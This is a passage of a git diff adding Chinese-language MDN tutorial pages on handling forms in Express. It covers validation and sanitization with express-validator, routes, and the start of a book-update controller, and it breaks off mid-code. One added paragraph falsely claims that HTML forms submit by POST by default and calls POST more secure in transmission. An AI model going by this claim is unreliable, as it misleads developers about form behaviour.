for="team_name">Enter name: </label> + <input id="team_name" type="text" name="name_field" value="Default name for team."> + <input type="submit" value="OK"> +</form></pre> + +<p>虽然这里,我们只包含一个(文本)字段,用于输入团队名称,但表单可能包含任意数量的其他输入元素,及其相关标签。字段的 <code>type </code>属性,定义将显示哪种窗口小部件。该字段的名称<code>name</code>和<code>id</code> ,用于标识JavaScript/CSS/HTML 中的字段,而 <code>value</code>定义字段首次显示时的初始值。匹配团队标签使用<code style="font-style: normal; font-weight: normal;">label</code>标签,指定(请参阅上面的“输入名称” "Enter name"),其中 <code style="font-style: normal; font-weight: normal;">for </code>字段,包含<code style="font-style: normal; font-weight: normal;">input</code>相关输入的<code style="font-style: normal; font-weight: normal;">id</code>值。</p> + +<p>另外,有必要说一下,HTML中form表单默认就是以post提交的。它比get方式存储量更大、传输更安全。</p> + +<p>提交输入(<code>submit</code>)将显示为按钮(默认情况下) - 用户可以按此按钮,将其他输入元素包含的数据,上传到服务器(在本例中,只有<code>team_name</code>)。表单属性,定义用于发送数据的HTTP<code> method</code>方法,和服务器上数据的目标(<code>action</code>):</p> + +<ul> + <li><code>action</code>: 提交表单时,要发送数据以进行处理的资源/ URL。如果未设置(或设置为空字符串),则表单将提交回当前页面URL。</li> + <li><code>method</code>: 用于发送数据的HTTP方法:<code>POST</code> 或 <code>GET</code>。 + <ul> + <li>如果数据将导致服务器数据库的更改,则始终应该使用<code>POST</code>方法,因为这更加可以抵抗跨站点伪造请求攻击。</li> + <li><code>GET</code>方法只应用于不更改用户数据的表单(例如,搜索表单)。当您希望能够为URL添加书签或共享时,建议使用此选项。</li> + </ul> + </li> +</ul> + +<h3 id="表单处理流程">表单处理流程</h3> + +<p>表单处理使用的技术,与我们学习过、用来显示有关模型的信息的所有技术,是相同的:路由将我们的请求发送到控制器函数,该函数执行所需的任何数据库操作,包括从模型中读取数据,然后生成并返回HTML页面。使事情变得更复杂的是,服务器还需要能够处理用户提供的数据,并在出现任何问题时,重新显示带有错误信息的表单。</p> + +<p>下面显示了处理表单请求的流程图,从包含表单的页面请求开始(以绿色显示):</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14478/Web%20server%20form%20handling.png" style="height: 649px; width: 800px;"></p> + +<p>如上图所示,构成处理代码所需要做的主要是:</p> + +<ol> + <li>在用户第一次请求时显示默认表单。 + <ul> + <li>表单可能包含空白字段(例如,如果您正在创建新记录),或者可能预先填充了初始值(例如,如果您要更改记录,或者具有有用的默认初始值)。</li> + </ul> + </li> + <li>接收用户提交的数据,通常是在HTTP <code>POST</code>请求中。</li> + <li>验证并清理数据。</li> + <li>如果任何数据无效,请重新显示表单 - 这次使用用户填写的任何值,和问题字段的错误消息。</li> + <li>如果所有数据都有效,请执行所需的操作(例如,将数据保存在数据库中,发送通知电子邮件,返回搜索结果,上传文件等)</li> + <li>完成所有操作后,将用户重定向到另一个页面。</li> +</ol> + +<p>表格处理代码,通常使用<code>GET</code>路由,以实现表单的初始显示,以及<code>POST</code>路由到同一路径,以处理表单数据的验证和处理。这是将在本教程中使用的方法!Express本身不提供表单处理操作的任何特定支持,但它可以使用中间件,以处理表单中的<code>POST</code>和<code>GET</code>参数,并验证/清理它们的值。</p> + +<h3 id="验证和清理">验证和清理</h3> + +<p>在储存表单中的数据之前,必须对其进行验证和清理:</p> + +<ul> + <li>验证检查输入的值,适用于每个字段(范围,格式等),并且已为所有必填字段提供了值。</li> + <li>清理删除/替换数据中的字符,可能用于将恶意内容发送到服务器。</li> +</ul> + +<p>在本教程中,我们将使用流行的 <a href="https://www.npmjs.com/package/express-validator">express-validator</a> 模块,来执行表单数据的验证和清理。</p> + +<h4 id="安装">安装</h4> + +<p>通过在项目的根目录中,运行以下命令来安装模块。</p> + +<pre class="brush: bash notranslate">npm install express-validator --save +</pre> + +<h4 id="使用_express-validator">使用 express-validator</h4> + +<div class="note"> +<p><strong>注意:</strong> Github上的<a href="https://github.com/ctavan/express-validator#express-validator">express-validator</a>指南,提供了API的良好概述。我们建议您阅读该内容,以了解其所有功能(包括创建自定义验证程序)。下面我们只介绍一个对LocalLibrary有用的子集。</p> +</div> + +<p>要在我们的控制器中使用验证器,我们必须从'<strong>express-validator/check</strong>'和'<strong>express-validator/filter</strong>'模块中,导入我们想要使用的函数,如下所示:</p> + +<pre class="brush: js notranslate">const { body,validationResult } = require('express-validator/check'); +const { sanitizeBody } = require('express-validator/filter'); +</pre> + +<p>有许多可用的功能,允许您一次检查和清理请求参数,正文,标头,cookie 等数据,或所有数据。对于本教程,我们主要使用<code>body</code>, <code>sanitizeBody</code>,和 <code>validationResult</code>(如上面 “导入”的 )。</p> + +<p>功能定义如下:</p> + +<ul> + <li><code><a href="https://github.com/ctavan/express-validator#bodyfields-message">body(fields[, message])</a></code>: 指定请求本文中的一组字段(<code>POST</code>参数)以及可选的错误消息,如果测试失败,则可以显示该字段。验证标准以菊花链形式连接到 <code>body()</code>方法。例如,下面的第一个检查测试,“name”字段不为空,如果不是,则设置错误消息“Empty name”。第二个测试,检查age字段是否为有效日期,并使用<code>optional()</code>指定null和空字符串不会验证失败。 + + <pre class="brush: js notranslate">body('name', 'Empty name').isLength({ min: 1 }), +body('age', 'Invalid age').optional({ checkFalsy: true }).isISO8601(), +</pre> + 您还可以用菊花链式连接不同的验证器,并添加前面验证器为真时显示的消息。</li> + <li> + <pre class="brush: js notranslate">body('name').isLength({ min: 1 }).trim().withMessage('Name empty.') + .isAlpha().withMessage('Name must be alphabet letters.'), +</pre> + + <div class="note"> + <p><strong>注意:</strong> 您还可以添加内联清理器,如<code>trim()</code>,如上所示。但是,此处应用清理器,仅适用于验证步骤。如果要对最终输出进行消毒,则需要使用单独的清理器方法,如下所示。</p> + </div> + </li> + <li><code><a href="https://github.com/ctavan/express-validator#sanitizebodyfields">sanitizeBody(fields)</a></code>: 指定一个正文要清理的字段。然后将清理操作,以菊花链形式连接到此方法。例如,下面的<code>escape()</code>清理操作,会从名称变量中,删除可能在JavaScript跨站点脚本攻击中使用的HTML字符。 + <pre class="brush: js notranslate">sanitizeBody('name').trim().escape(), +sanitizeBody('date').toDate(),</pre> + </li> + <li><code><a href="https://github.com/ctavan/express-validator#validationresultreq">validationResult(req)</a></code>: 运行验证,以<code>validation</code>验证结果对象的形式,提供错误。这是在单独的回调中调用的,如下所示: + <pre class="brush: js notranslate">(req, res, next) => { + // Extract the validation errors from a request. + const errors = validationResult(req); + + if (!errors.isEmpty()) { + // There are errors. Render form again with sanitized values/errors messages. + // Error messages can be returned in an array using `errors.array()`. + } + else { + // Data from form is valid. + } +}</pre> + 我们使用验证结果的<code>isEmpty()</code>方法,来检查是否存在错误,并使用其<code>array()</code>方法,来获取错误消息集合。有关更多信息,请参<a href="https://github.com/ctavan/express-validator#validation-result-api">阅验证结果API</a>。</li> +</ul> + +<p>验证和清理链,是应该传递给Express路由处理程序的中间件(我们通过控制器,间接地执行此操作)。中间件运行时,每个验证器/清理程序都按指定的顺序运行。<br> + 当我们实现下面的LocalLibrary表单时,我们将介绍一些真实的例子。</p> + +<h3 id="表单设计">表单设计</h3> + +<p>图书馆中的许多模型都是相关/依赖的 - 例如,一本书需要一个作者,也可能有一个或多个种类。这提出了一个问题,即我们应该如何处理用户希望的情况:</p> + +<ul> + <li>在其相关对象尚不存在时,创建对象(例如,尚未定义作者对象的书)。</li> + <li>删除另一个对象仍在使用的对象(例如,删除仍有书本使用的种类)。</li> +</ul> + +<p>在这个项目,我们将简单声明表单只能:</p> + +<ul> + <li>使用已存在的对象创建对象(因此用户在尝试创建任何<code>Book</code>对象之前,必须创建任何所需的<code>Author</code>和<code>Genre</code>实例)。</li> + <li>如果对象未被其他对象引用,则删除该对象(例如,在删除所有关联的<code>BookInstance</code>对象之前,您将无法删除该书)。</li> +</ul> + +<p>让我们看看更高级的内容吧:</p> + +<p>我们通常会在“后台”接收form表单提交的数据。显而易见,这里应该是express!</p> + +<p>首先我们可以知道(也许你会知道)应该先引入express:</p> + +<p><code>const app=express();</code> </p> + +<p>这很好。</p> + +<p>那么既然是post提交,给大家推荐一款中间件:body-parser。它能让你轻松地处理body数据。</p> + +<p>哦,如果你涉及文件上传,那么你可能需要“<a href="https://blog.csdn.net/qq_43624878/article/details/103607944">multer</a>”中间件,你大概听说过“formidable”,但multer比它更强大!</p> + +<div class="note"> +<p><strong>注意:</strong> 更“牢固”的实现,可能允许您在创建新对象时创建依赖对象,并随时删除任何对象(例如,通过删除依赖对象,或从数据库中,删除对已删除对象的引用) 。</p> +</div> + +<h3 id="路由">路由</h3> + +<p>为了实现我们的表单处理代码,我们需要两个具有相同URL模式的路由。</p> + +<p>第一个(<code>GET</code>)路由,用于显示用于创建对象的新空表单。第二个路由(<code>POST</code>),用于验证用户输入的数据,然后保存信息,并重定向到详细信息页面(如果数据有效),或重新显示有错误的表单(如果数据无效)。</p> + +<p>我们已经在 <strong>/routes/catalog.js</strong>(在<a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/routes">之前的教程</a>中)为我们所有模型的创建页面,创建了路径。例如,种类路由如下所示:</p> + +<pre class="brush: js notranslate">// GET request for creating a Genre. NOTE This must come before route that displays Genre (uses id). +router.get('/genre/create', genre_controller.genre_create_get); + +// POST request for creating Genre. +router.post('/genre/create', genre_controller.genre_create_post); +</pre> + +<h2 id="Express_表单子文件">Express 表单子文件</h2> + +<p>以下子文件,将带我们完成向示例应用程序添加所需表单的过程。在进入下一个文件之前,您需要依次阅读并解决每个问题。</p> + +<ol> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms/Create_genre_form">创建种类表单</a> — 定义我们的页面以创建<code>Genre</code>种类对象。</li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms/Create_author_form">创建作者表单</a> — 定义用于创建作者对象的页面。</li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms/Create_book_form">创建书本表单</a> — 定义页面/表单以创建书本对象。</li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms/Create_BookInstance_form">创建书本实例表单</a> — 定义页面/表单以创建书本实例对象。</li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms/Delete_author_form">删除作者表单</a> — 定义要删除作者对象的页面。</li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms/Update_Book_form">更新书本表单</a> — 定义页面以更新书本对象。</li> +</ol> + +<h2 id="挑战自我">挑战自我</h2> + +<p>实现<code>Book</code>, <code>BookInstance</code>, 和 <code>Genre</code>模型的删除页面,以与我们的作者删除页面相同的方式,将它们与关联的详细信息页面,链接起来。页面应遵循相同的设计方法:</p> + +<ul> + <li>如果有来自其他对象的、对于对象的引用,则应显示注释,列出这些对象,并说明在删除列出的对象之前,无法删除此记录。</li> + <li>如果没有对该对象的其他引用,则视图应提示删除它。如果用户按下“删除”按钮,则应删除该记录。</li> +</ul> + +<p>一些提示:</p> + +<ul> + <li>删除种类<code>Genre</code>就像删除作者<code>Author</code>一样,因为两个对象都是<code>Book</code>的依赖项(因此在这两种情况下,只有在删除相关书本时,才能删除对象)。</li> + <li>删除书本<code>Book</code>也很相似,但您需要检查是否没有关联的书本实例<code>BookInstances</code>。</li> + <li>删除书本实例<code>BookInstance</code>是最简单的,因为没有依赖对象。在这种情况下,您只需找到相关记录并将其删除即可。</li> +</ul> + +<p>实现<code>BookInstance</code>, <code>Author</code>, 和 <code>Genre</code>模型的更新页面,以与我们的书本更新页面相同的方式,将它们与关联的详细信息页面,链接起来。</p> + +<p>一些提示:</p> + +<ul> + <li>我们刚刚实施的图书更新页面是最难的!相同的模式可用于其他对象的更新页面。</li> + <li>作者死亡日期和出生日期字段以及书本实例 due_date 字段,是输入到表单上日期输入字段的错误格式(它需要 “YYYY-MM-DD” 形式的数据)。解决此问题的最简单方法,是为适当格式化的日期,定义新的虚拟属性,然后在关联的视图模板中,使用此字段。</li> + <li>如果您遇到困难,此处示例中的更新页面有一些<a href="https://github.com/mdn/express-locallibrary-tutorial">示例</a>。</li> +</ul> + +<h2 id="总结">总结</h2> + +<p>Express, node, 与NPM上面的第三方套件,提供你需要的每样东西 ,可用于新增表单到你的网站上。在本文中,你学到了如何使用Pug, how to create forms using Pug, validate and sanitize input using express-validator, and add, delete, and modify records in the database.</p> + +<p>你现在应该了解如何新增基本表单,以及表单处理码到你的 node 网站!</p> + +<h2 id="请见">请见</h2> + +<ul> + <li><a href="https://www.npmjs.com/package/express-validator">express-validator</a> (npm 文档).</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Displaying_data", "Learn/Server-side/Express_Nodejs/deployment", "Learn/Server-side/Express_Nodejs")}}</p> + +<h2 id="本教程">本教程</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node 介绍</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/development_environment">架设 Node (Express) 开发环境</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express 教程: 本地图书馆网站</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express 教程 2: 创建骨架网站</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/mongoose">Express 教程 3: 使用数据库 (Mongoose)</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/routes">Express 教程 4: 路由与控制器</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程 5: 呈现图书馆数据</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms">Express 教程 6: 使用表单</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/deployment">Express 教程 7: 部署到生产环境</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/express_nodejs/forms/update_book_form/index.html b/files/zh-cn/learn/server-side/express_nodejs/forms/update_book_form/index.html new file mode 100644 index 0000000000..de1faa0909 --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/forms/update_book_form/index.html @@ -0,0 +1,189 @@ +--- +title: 更新书本表单 +slug: learn/Server-side/Express_Nodejs/forms/Update_Book_form +translation_of: Learn/Server-side/Express_Nodejs/forms/Update_Book_form +--- +<p><a class="button section-edit only-icon" href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/forms$edit#Update_Book_form" rel="nofollow, noindex"><span>Edit</span></a>本文最后一部分演示如何定义一个页面,以更新书本(<code>Book</code>)对象。当更新一本书的时候,表单处理更像是创建一本书,除了你必须将表单填进 <code>GET</code> 路由,并附加上来自数据库的值。</p> + +<h2 class="highlight-spanned" id="控制器—get_路由"><span class="highlight-span">控制器—get 路由</span></h2> + +<p>打开<strong> /controllers/bookController.js</strong>. 找到 exported <code>book_update_get()</code> 控制方法,并用底下的代码替换。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Display book update form on GET.</span> +exports<span class="punctuation token">.</span>book_update_get <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="punctuation token">{</span> + + <span class="comment token">// Get book, authors and genres for form.</span> + <span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">parallel</span><span class="punctuation token">(</span><span class="punctuation token">{</span> + book<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + Book<span class="punctuation token">.</span><span class="function token">findById</span><span class="punctuation token">(</span>req<span class="punctuation token">.</span>params<span class="punctuation token">.</span>id<span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">populate</span><span class="punctuation token">(</span><span class="string token">'author'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">populate</span><span class="punctuation token">(</span><span class="string token">'genre'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">exec</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + authors<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + Author<span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + genres<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + Genre<span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>err<span class="punctuation token">,</span> results<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>results<span class="punctuation token">.</span>book<span class="operator token">==</span><span class="keyword token">null</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="comment token">// No results.</span> + <span class="keyword token">var</span> err <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Error</span><span class="punctuation token">(</span><span class="string token">'Book not found'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + err<span class="punctuation token">.</span>status <span class="operator token">=</span> <span class="number token">404</span><span class="punctuation token">;</span> + <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="comment token">// Success.</span> + <span class="comment token">// Mark our selected genres as checked.</span> + <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> all_g_iter <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> all_g_iter <span class="operator token"><</span> results<span class="punctuation token">.</span>genres<span class="punctuation token">.</span>length<span class="punctuation token">;</span> all_g_iter<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> book_g_iter <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> book_g_iter <span class="operator token"><</span> results<span class="punctuation token">.</span>book<span class="punctuation token">.</span>genre<span class="punctuation token">.</span>length<span class="punctuation token">;</span> book_g_iter<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>results<span class="punctuation token">.</span>genres<span class="punctuation token">[</span>all_g_iter<span class="punctuation token">]</span><span class="punctuation token">.</span>_id<span class="punctuation token">.</span><span class="function token">toString</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="operator token">==</span>results<span class="punctuation token">.</span>book<span class="punctuation token">.</span>genre<span class="punctuation token">[</span>book_g_iter<span class="punctuation token">]</span><span class="punctuation token">.</span>_id<span class="punctuation token">.</span><span class="function token">toString</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + results<span class="punctuation token">.</span>genres<span class="punctuation token">[</span>all_g_iter<span class="punctuation token">]</span><span class="punctuation token">.</span>checked<span class="operator token">=</span><span class="string token">'true'</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="punctuation token">}</span> + <span class="punctuation token">}</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'book_form'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Update Book'</span><span class="punctuation token">,</span> authors<span class="punctuation token">:</span>results<span class="punctuation token">.</span>authors<span class="punctuation token">,</span> genres<span class="punctuation token">:</span>results<span class="punctuation token">.</span>genres<span class="punctuation token">,</span> book<span class="punctuation token">:</span> results<span class="punctuation token">.</span>book <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> + +<p>这个控制器从URL参数(<code>req.params.id</code>)中,取得要更新的书本 <code>Book</code> 的 id。它使用 <code>async.parallel()</code>方法,取得指定的书本 <code>Book</code> 纪录 (填入它的种类和作者字段) ,并列出所有作者 <code>Author</code> 和种类 <code>Genre</code>对象。当所有操作都完成,它用勾选的方式,标记当前选择的种类,并呈现 <strong>book_form.pug</strong> 视图,传送变数 <code>title</code>、<code>book</code>、所有 <code>authors</code>、所有 <code>genres</code>。</p> + +<h2 class="highlight-spanned" id="控制器—post_路由"><span class="highlight-span">控制器—post 路由</span></h2> + +<p>找到 exported <code>book_update_post()</code> 控制器方法,并替换为底下的代码。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Handle book update on POST.</span> +exports<span class="punctuation token">.</span>book_update_post <span class="operator token">=</span> <span class="punctuation token">[</span> + + <span class="comment token">// Convert the genre to an array</span> + <span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">></span> <span class="punctuation token">{</span> + <span class="keyword token">if</span><span class="punctuation token">(</span><span class="operator token">!</span><span class="punctuation token">(</span>req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>genre <span class="keyword token">instanceof</span> <span class="class-name token">Array</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">{</span> + <span class="keyword token">if</span><span class="punctuation token">(</span><span class="keyword token">typeof</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>genre<span class="operator token">===</span><span class="string token">'undefined'</span><span class="punctuation token">)</span> + req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>genre<span class="operator token">=</span><span class="punctuation token">[</span><span class="punctuation token">]</span><span class="punctuation token">;</span> + <span class="keyword token">else</span> + req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>genre<span class="operator token">=</span><span class="keyword token">new</span> <span class="class-name token">Array</span><span class="punctuation token">(</span>req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>genre<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="function token">next</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + + <span class="comment token">// Validate fields.</span> + <span class="function token">body</span><span class="punctuation token">(</span><span class="string token">'title'</span><span class="punctuation token">,</span> <span class="string token">'Title must not be empty.'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">isLength</span><span class="punctuation token">(</span><span class="punctuation token">{</span> min<span class="punctuation token">:</span> <span class="number token">1</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">body</span><span class="punctuation token">(</span><span class="string token">'author'</span><span class="punctuation token">,</span> <span class="string token">'Author must not be empty.'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">isLength</span><span class="punctuation token">(</span><span class="punctuation token">{</span> min<span class="punctuation token">:</span> <span class="number token">1</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">body</span><span class="punctuation token">(</span><span class="string token">'summary'</span><span class="punctuation token">,</span> <span class="string token">'Summary must not be empty.'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">isLength</span><span class="punctuation token">(</span><span class="punctuation token">{</span> min<span class="punctuation token">:</span> <span class="number token">1</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">body</span><span class="punctuation token">(</span><span class="string token">'isbn'</span><span class="punctuation token">,</span> <span class="string token">'ISBN must not be empty'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">isLength</span><span class="punctuation token">(</span><span class="punctuation token">{</span> min<span class="punctuation token">:</span> <span class="number token">1</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + + <span class="comment token">// Sanitize fields.</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'title'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">escape</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'author'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">escape</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'summary'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">escape</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'isbn'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">escape</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'genre.*'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">escape</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + + <span class="comment token">// Process request after validation and sanitization.</span> + <span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">></span> <span class="punctuation token">{</span> + + <span class="comment token">// Extract the validation errors from a request.</span> + <span class="keyword token">const</span> errors <span class="operator token">=</span> <span class="function token">validationResult</span><span class="punctuation token">(</span>req<span class="punctuation token">)</span><span class="punctuation token">;</span> + + <span class="comment token">// Create a Book object with escaped/trimmed data and old id.</span> + <span class="keyword token">var</span> book <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Book</span><span class="punctuation token">(</span> + <span class="punctuation token">{</span> title<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>title<span class="punctuation token">,</span> + author<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>author<span class="punctuation token">,</span> + summary<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>summary<span class="punctuation token">,</span> + isbn<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>isbn<span class="punctuation token">,</span> + genre<span class="punctuation token">:</span> <span class="punctuation token">(</span><span class="keyword token">typeof</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>genre<span class="operator token">===</span><span class="string token">'undefined'</span><span class="punctuation token">)</span> <span class="operator token">?</span> <span class="punctuation token">[</span><span class="punctuation token">]</span> <span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>genre<span class="punctuation token">,</span> + _id<span class="punctuation token">:</span>req<span class="punctuation token">.</span>params<span class="punctuation token">.</span>id <span class="comment token">//This is required, or a new ID will be assigned!</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + + <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span>errors<span class="punctuation token">.</span><span class="function token">isEmpty</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// There are errors. Render form again with sanitized values/error messages.</span> + + <span class="comment token">// Get all authors and genres for form.</span> + <span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">parallel</span><span class="punctuation token">(</span><span class="punctuation token">{</span> + authors<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + Author<span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + genres<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + Genre<span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>err<span class="punctuation token">,</span> results<span class="punctuation token">)</span> <span 